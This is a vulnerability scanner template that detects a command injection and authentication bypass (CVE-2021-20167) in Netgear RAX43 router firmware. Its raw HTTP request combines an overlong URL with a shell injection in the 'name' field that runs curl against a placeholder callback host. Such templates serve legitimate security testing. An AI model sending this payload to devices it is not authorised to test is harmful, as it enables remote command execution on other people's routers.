49 lines
2.1 KiB
YAML
49 lines
2.1 KiB
YAML
id: CVE-2021-20167
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info:
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name: Netgear RAX43 1.0.3.96 - Command Injection/Authentication Bypass Buffer Overrun
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author: gy741
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severity: high
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description: 'Netgear RAX43 version 1.0.3.96 contains a command injection and authentication bypass vulnerability. The readycloud_control.cgi CGI application is vulnerable to command injection in the name parameter. Additionally, the URL parsing functionality in the cgi-bin endpoint of the router containers a buffer overrun issue that can redirection control flow of the application. Note: This vulnerability uses a combination of CVE-2021-20166 and CVE-2021-20167.'
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remediation: Upgrade to newer release of the RAX43 firmware.
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reference:
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- https://www.tenable.com/security/research/tra-2021-55
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- https://nvd.nist.gov/vuln/detail/CVE-2021-20166
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- https://nvd.nist.gov/vuln/detail/CVE-2021-20167
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classification:
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cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8
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cve-id: CVE-2021-20167
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cwe-id: CWE-77
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epss-score: 0.95282
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epss-percentile: 0.99116
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cpe: cpe:2.3:o:netgear:rax43_firmware:1.0.3.96:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: netgear
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product: rax43_firmware
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tags: tenable,cve,cve2021,netgear,rce,router
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http:
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- raw:
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POST /cgi-bin/readycloud_control.cgi?1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111/api/users HTTP/1.1
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Host: {{Hostname}}
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"name":"';$(curl {{interactsh-url}});'",
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"email":"a@b.c"
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "http"
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- type: word
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part: interactsh_request
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words:
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- "User-Agent: curl"
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# digest: 4b0a004830460221009337ce7e4def7cc5d9df77c9a523c1bb3e5f6921e5c151f059e0077155d8eae10221008c12bc0e427cacb60b7b4f1fb3b4a09cef1c17bb051a3f4570755830d2f94d32:922c64590222798bb761d5b6d8e72950
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